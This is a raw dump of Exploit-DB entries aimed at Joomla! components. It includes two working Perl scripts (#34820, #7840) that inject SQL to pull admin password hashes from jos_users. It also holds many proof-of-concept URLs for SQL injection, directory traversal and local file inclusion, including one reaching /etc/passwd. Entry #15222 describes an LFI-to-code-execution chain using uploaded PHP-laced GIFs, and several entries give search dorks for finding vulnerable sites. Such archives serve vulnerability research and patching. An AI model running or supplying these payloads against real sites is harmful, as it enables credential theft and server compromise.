deardaniel/secdata-raw huggingface dataset:
Exploit-DB #34820
Description: Joomla! Component Club Manager - 'cm_id' SQL Injection
Type: webapps
Platform: php
Date: 2010-10-06
Author: FL0RiX

Exploit:
source: https://www.securityfocus.com/bid/43821/info

The Club Manager component for Joomla is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

#!/usr/bin/perl -w

########################################
#[~] Author : Fl0riX
#[!] Script Name: Joomla com_clubmanager
########################################
print "\t\t                                                              \n\n";
print "\t\t        Fl0rix | Bug Researchers                              \n\n";
print "\t\t                                                              \n\n";
print "\t\t Joomla com_clubmanager Remote SQL Injection Exploit   \n\n";
use LWP::UserAgent;
print "\nSite ismi Target page:[http://wwww.site.com/path/]: ";
chomp(my $target=<STDIN>);
$florix="concat(username,0x3a,password)";
$sakkure="jos_users";
$com="com_clubmanager";
$cw="+UNION+SELECT+";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target . "/index.php?option=".$com."&tabla=equip&task=presenta&cm_id=284".$cw."1,".$florix.",3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from/**/".$sakkure."+--+";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n\n";
print "# Baba Buyuksun bea Bu is bu kadar xD #\n\n";
}
else{print "\n[-] Malesef Olmadi Aga bir dahaki sefere\n";
}
Exploit-DB #8367
Description: Joomla! Component Cmimarketplace - 'viewit' Directory Traversal
Type: webapps
Platform: php
Date: 2009-04-08
Author: H!tm@N

Exploit:
#############################################################################
#							                    #
#     Joomla Component Cmimarketplace Directory Traversal Vulnerability     #
#							                    #
#############################################################################


########################################

[~] Vulnerability found by: H!tm@N
[~] Contact: khghitman[at]gmail[dot]com
[~] Site: www.khg-crew.ws
[~] Greetz: boom3rang, KHG, chs, redc00de 
[~]         -=[Kosova Hackers Group]=--=[KHG-Crew]=-

########################################

[~] ScriptName:    "Joomla"
[~] Component:     "Cmimarketplace (com_cmimarketplace)"  
[~] Date:          "August 2008"
[~] Author:        "Magnetic Merchandising Inc."
[~] E-mail:        "client@ijobid.com"
[~] Author URL:    "www.ijobid.com"

########################################

[~] Exploit: /index.php?option=com_cmimarketplace&Itemid=70&viewit=[Directory]&cid=1

[~] Example: /index.php?option=com_cmimarketplace&Itemid=70&viewit=/../../&cid=1

########################################

[~] Live Demo: http://democmi.ijobid.com/index.php?option=com_cmimarketplace&Itemid=70&viewit=/../../&cid=1

########################################

[~] Proud 2 be Albanian
[~] Proud 2 be Muslim
[~] R.I.P redc00de

########################################

# milw0rm.com [2009-04-08]
Exploit-DB #45474
Description: Joomla! Component Collection Factory 4.1.9 - SQL Injection
Type: webapps
Platform: php
Date: 2018-09-25
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Joomla! Component Collection Factory 4.1.9 - SQL Injection
# Dork: N/A
# Date: 2018-09-24
# Vendor Homepage: https://thephpfactory.com/
# Software Link: https://extensions.joomla.org/extensions/extension/vertical-markets/thematic-directory/collection-factory/
# Version: 4.1.9
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-17383
# # # # #
# Exploit Author: Ihsan Sencan
# # # # #
# POC: 
# 
# 1)
# http://localhost/[PATH]/collection-categories?option=com_collectionfactory&task=items&filter_order=[SQL]&filter_order_Dir=[SQL]
# 
# %2c%45%58%54%52%41%43%54%56%41%4c%55%45%28%36%36%2c%43%4f%4e%43%41%54%28%30%78%35%63%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%36%36%3d%36%36%2c%31%29%29%29%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%29%29
#  
# # # #
Exploit-DB #7840
Description: Joomla! Component Com BazaarBuilder Shopping Cart 5.0 - SQL Injection
Type: webapps
Platform: php
Date: 2009-01-21
Author: XaDoS

Exploit:
#!/usr/bin/perl -w
#Joomla component: BazaarBuilder Shopping Cart Software v.5.0 sql injection#
########################################
#[+] Author : XaDoS
#[+] Contact me: www.securitycode.it // xados [at] hotmail [dot] it
#[+] Greetz : Plucky - Str0ke - GsC - boom3rang - My girl ;-)
#[+] Module_Name: BazaarBuilder Ecommerce Shopping Cart Software v. 5.0
#[+] Script_Name: Joomla
#[+] Dork: find it XD
########################################
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t|                  ---||> X:A:D:O:S <||---                    |\n\n";
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t|Joomla Module com_prod <= Remote SQL Injection Vuln|\n\n";
print "\t\t| XaDoS ~ www.securitycode.it |\n\n";
print "\t\t-------------------------------------------------------------\n\n";
use LWP::UserAgent;
print "\nEnter the url of vuln site[http://wwww.example.com]: ";
chomp(my $target=<STDIN>);
$column_name="concat(username,char(58),password)";
$table_name="jos_users";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target . "/index.php?option=com_prod&task=products&cid=-9999%20union%20all%20select%201,2,3,".$column_name.",5,6,7,8,9,10,11,12,13,14,15,16,17,18%20from/**/".$table_name."+/*+";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n\n";
print "||> Exploit done! ;-) <||\n\n";
}
else{print "\n||> Exploit failed! :-( <||\n";
}

# milw0rm.com [2009-01-21]
Exploit-DB #5491
Description: Joomla! Component Community Builder 1.0.1 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-04-23
Author: $hur!k'n

Exploit:
#########################################################
#							#
#     Joomla Component Profiler Blind SQL Injection	#
#							#
#########################################################


########################################

[~] Vulnerability found by: $hur!k'n
[~] Contact: alibabanala@hotmail.com

########################################

[~] ScriptName: "Joomla"
[~] ModuleName: "Profiler"
[~] Version: ? 

########################################

[~] DORK: allinurl:com_comprofiler

########################################

[~] Exploit: /index.php?option=com_comprofiler&task=userProfile&user=[SQL]
[~] Example: /index.php?option=com_comprofiler&task=userProfile&user=1/**/and/**/mid((select/**/password/**/from/**/jos_users/**/limit/**/0,1),1,1)/**/</**/Char(97)/*

########################################

# milw0rm.com [2008-04-23]
Exploit-DB #15222
Description: Joomla! Component Community Builder Enhanced (CBE) 1.4.8/1.4.9/1.4.10 - Local File Inclusion / Remote Code Execution
Type: webapps
Platform: php
Date: 2010-10-09
Author: Delf Tonder

Exploit:
Description:
Joomla CBE suffers from a local file inclusion vulnerability. As CBE 
also offers file uploading functionality that allows to upload files 
that contain php-code, this can be used to execute arbitary 
system-commands on the host with the webservers privileges.

Risk:
High

Affected versions:
- CBE v1.4.10
- CBE v1.4.9
- CBE v1.4.8
(maybe older versions)

Not affaceted:
- CBE v1.4.11 (current)

Vulnerable code:
in cbe.php a file identified by the param "tabname" is included if the 
"ajaxdirekt" param is set, without sanatizing the value of "tabname" first:
-- 
$ajaxdirekt    = JRequest::getVar('ajaxdirekt', null);
     $tabname = JRequest::getVar('tabname', null);

     if ($ajaxdirekt) {
         $tabfile = 
JPATH_SITE.DS.'components'.DS.'com_cbe'.DS.'enhanced'.DS.$tabname.DS.$tabname.".php";
         if (file_exists($tabfile)) {
             include_once($tabfile);
         }
         return;
     }
-- 

Exploitation / poc:
index.php?option=com_cbe&task=userProfile&user=23&ajaxdirekt=true&tabname=../../../CREDITS.php%00 

will execute the CREDITS.php

Addional attack-vectors:
CBE offers a file-upload function for uploading user profile images. The 
uploaded file is not checked for beeing well-formed, it only needs to 
have the right mime-type and maybe (depends on profile-picture 
configuration) the right size, so we can embed php-code in the 
profile-picture. Lets say we have registered an account on the site with 
the user-id 23, then we can execute the backdoor by requesting:

index.php?option=com_cbe&task=userProfile&user=23&ajaxdirekt=true&tabname=../../../images/cbe/23.gif%00 


As we stay in the documents-root, we dont even have to worry about 
safe-mode directory restrictions, and using GIFs will bypass most of 
CBE's image pre-processing functions during file upload (except file- 
and image-size checks).

Solutions:
a) check if the contents of an uploaded file contains a php open-tag 
('<?php') (requires that the php-short-open-tag option is disabled)
b) Joomla offers several functions for accessing POST and GET params, i 
guess using getWord() instead of getVar() would be a better choice in 
this case.

History:
04.10.2010 - vendor informed
07.10.2010 - vendor released fixed version
08.10.2010 - public disclosure

Cheers
Delf Tonder
Exploit-DB #41448
Description: Joomla! Component Community Polls 4.5.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-24
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component Community Polls v4.5.0 - SQL Injection
# Google Dork: inurl:index.php?option=com_communitypolls
# Date: 24.02.2017
# Vendor Homepage: http://corejoomla.com/
# Software Buy: https://extensions.joomla.org/extensions/extension/contacts-and-feedback/polls/community-polls/
# Demo: http://demo.corejoomla.com/polls.html
# Version: 4.5.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# index.php?option=com_communitypolls&view=search
# http://localhost/[PATH]/?list_filter=Ihsan_Sencan&list_filter_field=author&filter_all_keywords=1&filter_order=a.catid&filter_order_Dir=desc&catid[]=[SQL]
# 66+AND(SELECT+1+from(SELECT+COUNT(*),CONCAT((SELECT+(SELECT+(SELECT+DISTINCT+CONCAT(0x496873616e2053656e63616e,0x7e,0x27,CAST(schema_name+AS+CHAR),0x27,0x7e)+FROM+INFORMATION_SCHEMA.SCHEMATA+WHERE+table_schema!=DATABASE()+LIMIT+1,1))+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+0,1),+FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)+AND+1=1
# # # # #
Exploit-DB #41452
Description: Joomla! Component Community Quiz 4.3.5 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-24
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component Community Quiz v4.3.5 - SQL Injection
# Google Dork: inurl:index.php?option=com_communityquiz
# Date: 24.02.2017
# Vendor Homepage: http://corejoomla.com/
# Software Buy: https://extensions.joomla.org/extensions/extension/living/education-a-culture/community-quiz/
# Demo: http://demo.corejoomla.com/quiz.html
# Version: 4.3.5
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# index.php?option=com_communityquiz&view=search
# http://localhost/[PATH]/?list_filter=Ihsan_Sencan&list_filter_field=title&filter_all_keywords=1&filter_order=a.created&filter_order_Dir=asc&catid[]=[SQL]&view=quizzes
# 66+AND(SELECT+1+from(SELECT+COUNT(*),CONCAT((SELECT+(SELECT+(SELECT+DISTINCT+CONCAT(0x496873616e2053656e63616e,0x7e,0x27,CAST(schema_name+AS+CHAR),0x27,0x7e)+FROM+INFORMATION_SCHEMA.SCHEMATA+WHERE+table_schema!=DATABASE()+LIMIT+1,1))+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+0,1),+FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)+AND+1=1
# # # # #
Exploit-DB #41447
Description: Joomla! Component Community Surveys 4.3 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-24
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component Community Surveys v4.3 - SQL Injection
# Google Dork: inurl:index.php?option=com_communitysurveys
# Date: 24.02.2017
# Vendor Homepage: http://corejoomla.com/
# Software Buy: https://extensions.joomla.org/extensions/extension/contacts-and-feedback/surveys/community-surveys/
# Demo: http://demo.corejoomla.com/surveys.html
# Version: 4.3
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# index.php?option=com_communitysurveys&view=search
# http://localhost/[PATH]/?list_filter=Ihsan_Sencan&list_filter_field=author&filter_all_keywords=1&filter_order=a.catid&filter_order_Dir=desc&catid[]=[SQL]
# 66+AND(SELECT+1+from(SELECT+COUNT(*),CONCAT((SELECT+(SELECT+(SELECT+DISTINCT+CONCAT(0x496873616e2053656e63616e,0x7e,0x27,CAST(schema_name+AS+CHAR),0x27,0x7e)+FROM+INFORMATION_SCHEMA.SCHEMATA+WHERE+table_schema!=DATABASE()+LIMIT+1,1))+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+0,1),+FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)+AND+1=1
# # # # #
Exploit-DB #10948
Description: Joomla! Component com_abbrev - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-01-03
Author: FL0RiX

Exploit:
<------------------- header data start ------------------- >

[++] Joomla Component com_abbrev Local File Inclusion Vulnerability


[++] author        : FL0RiX

[++] Name           : com_abbrev

[++] Bug Type       : Local File Inclusion

[++] Demo Vuln.     :


[++] http://server/index.php?option=com_abbrev&controller=../../../../../../../../../../etc/passwd%00

[++] Note           : LFI/RFI Uzman&#305; Zannedenler Localda Aramazlar :)

< ------------------- header data end of ------------------- >

< -- bug code start -- >

path/index.php?option=com_abbrev&controller=[-LFI-]

< -- bug code end of -- >
Exploit-DB #11684
Description: Joomla! Component com_about - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-11
Author: snakespc

Exploit:
==============================================================================
[»] Joomla com_about Remote Sql Injection Vulnerability
==============================================================================
   
[»] Script:   [Joomla]
[»] Language: [ PHP ]
[»] Founder:  [ Snakespc Email:s-c-dz@hotmail.com - Site:sec-war.com/cc> ]
[»] Greetz to:[ His0k4    sec-warTeaM, PrEdAtOr ,alnjm33 >>> All My Mamber >> sec-war.com/cc ]
   
###########################################################################
 ===[ Exploit ]===
   
[»] http://server/index.php?option=com_about&task=view&id=-24+UNION SELECT 1,2,3,group_concat(username,0x3a,password,0x3a,email),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34+from+jos_users--
[»]Author: Snakespc <-
###########################################################################
Exploit-DB #38943
Description: Joomla! Component com_aclsfgpl - 'index.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2014-01-07
Author: TUNISIAN CYBER

Exploit:
source: https://www.securityfocus.com/bid/64705/info

The Aclsfgpl component for Joomla! is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application. 

http://www.example.com/index.php?option=com_aclsfgpl&Itemid=[num]&ct=servs1&md=add_form
Exploit-DB #10547
Description: Joomla! Component com_acmisc - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-18
Author: FL0RiX

Exploit:
<------------------- header data start ------------------- >

#############################################################
       Joomla Component com_acmisc SQL injection Vulnerability                                           
#############################################################

# author        : Fl0riX

# Name        : com_acmisc

# Bug Type       : SQL Injection

# Infection      : Admin login bilgileri al&#65533;nabilir.

# Demo Vuln.     :
http://server/index.php?option=com_acmisc&page=5&Itemid=null/**/union/**/select/**/0,1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*--

# Bug Fix Advice : Zararl&#65533; karakterler filtrelenmelidir.

#############################################################

< ------------------- header data end of ------------------- >

< -- bug code start -- >

path/index.php?option=com_acmisc&page=5&Itemid=null/**/union/**/select/**/0,1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*--

< -- bug code end of -- >
Exploit-DB #11480
Description: Joomla! Component com_acprojects - SQL Injection
Type: webapps
Platform: php
Date: 2010-02-17
Author: AtT4CKxT3rR0r1ST

Exploit:
Joomla Component com_acprojects Sql Injection Vulnerability
==============================================================

####################################################################
.:. Author : AtT4CKxT3rR0r1ST [F.Hack@w.cn]
.:. Home : www.sec-attack.com/vb [Sec Attack Team]
.:. Bug Type : Sql Injection[Mysql]
.:. Dork : inurl:"com_acprojects"

####################################################################

===[ Exploit ]===

www.site.com/index.php?option=com_acprojects&page=7&Itemid=[SQL]&lang=de

www.site.com/index.php?option=com_acprojects&page=7&Itemid=null+and+1=2+union+select+1,2,concat(username,0x20,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+mos_users&lang=de


####################################################################
Exploit-DB #11479
Description: Joomla! Component com_acstartseite - SQL Injection
Type: webapps
Platform: php
Date: 2010-02-17
Author: AtT4CKxT3rR0r1ST

Exploit:
Joomla Component com_acstartseite Sql Injection Vulnerability
==============================================================

####################################################################
.:. Author : AtT4CKxT3rR0r1ST [F.Hack@w.cn]
.:. Home : www.sec-attack.com/vb [Sec Attack Team]
.:. Bug Type : Sql Injection[Mysql]
.:. Dork : inurl:"com_acstartseite"

####################################################################

===[ Exploit ]===

www.site.com/index.php?option=com_acstartseite&Itemid=null[SQL]&#9001;=de


www.site.com/index.php?option=com_acstartseite&Itemid=null+and+1=2+union+select+1,2,concat(username,0x20,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+mos_users&#9001;=de


####################################################################
Exploit-DB #11483
Description: Joomla! Component com_acteammember - SQL Injection
Type: webapps
Platform: php
Date: 2010-02-17
Author: ALTBTA

Exploit:
Joomla Component com_acteammember Sql Injection Vulnerability
==============================================================

####################################################################
.:. Author : altbta [l_9@hotmail.com<mailto:l_9@hotmail.com>]
.:. Home : www.v4-team.com/cc<http://www.v4-team.com/cc>
.:. Dork : inurl:"com_acteammember"

####################################################################

===[ Exploit ]===

www.site.com/index.php?option=com_acteammember&id=[SQL]&Itemid=121&lang=en


http://server/index.php?option=com_acteammember&id=-1+UNION+SELECT+1,2,3,4,5,concat(username,0x20,password),7,8,9,10,11,12,13,14,15+from+mos_users--&Itemid=121&lang=en


####################################################################
Greats T0: aB0-3tH4b T3rR0r & RxH
Thanks T0: AtT4CKxT3rR0r1ST
Exploit-DB #11942
Description: Joomla! Component com_actions - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-29
Author: DevilZ TM

Exploit:
# Title : Joomla Component com_actions SQL Injection Vulnerability
# Author: DevilZ TM
# Data  : 2010-03-29

[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_actions SQL Injection Vulnerability
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Email     : Expl0it@DevilZTM.Com
[~] Contact   : D3v1l.blackhat@yahoo.com
 
[~]#########################################   ExploiT   #############################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_actions&actionid=[SQL]
 
[~] ExploiT         :
 
-1 UNION SELECT 1,2,3,4,5,6,7--
 
[~] Example         :
 
http://127.0.0.1/index.php?option=com_actions&actionid=-1 UNION SELECT 1,2,3,4,5,6,7--

[~] Demo            :

http://site.com/newsite/index.php?option=com_actions&actionid=-1 UNION SELECT 1,2,3,4,5,6,7--

  
[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~] GreetZ : Exploit-DB TeaM

[~]#########################################   FinisH :D   #############################################[~]
Exploit-DB #10729
Description: Joomla! Component com_adagency - Local File Inclusion
Type: webapps
Platform: php
Date: 2009-12-27
Author: FL0RiX

Exploit:
        \\\|///
      \\  - -  //
       (  @ @ )
----oOOo--(_)-oOOo---------------------------
@~~=Author   : Fl0riX

@~~=Greez  : Deep-Power ,Pyske & All Friends
---------------Ooooo-------------------------
               (   )
      ooooO     ) /
      (   )    (_/
       \ (
        \_)

@~~=======================================~~@
@~~=Script   : Joomla Component com_adagency

@~~=S.Site   : www.ijoomla.com<http://www.ijoomla.com/>



@~~=======================================~~@

@~~=Vuln

             : http://server/index.php?option=com_adagency&controller= [-LFI-]




                                              / ___ \   \  \   \ \ /\    /  /
                                             / /   \/    \  \  /  \  \  /  /
                                             | |          \  \/  / \  \/  /
                                             | \    __     \    /   \    /
                                             \  \__/ /      \  /     \  /
                                              \_____/        \/       \/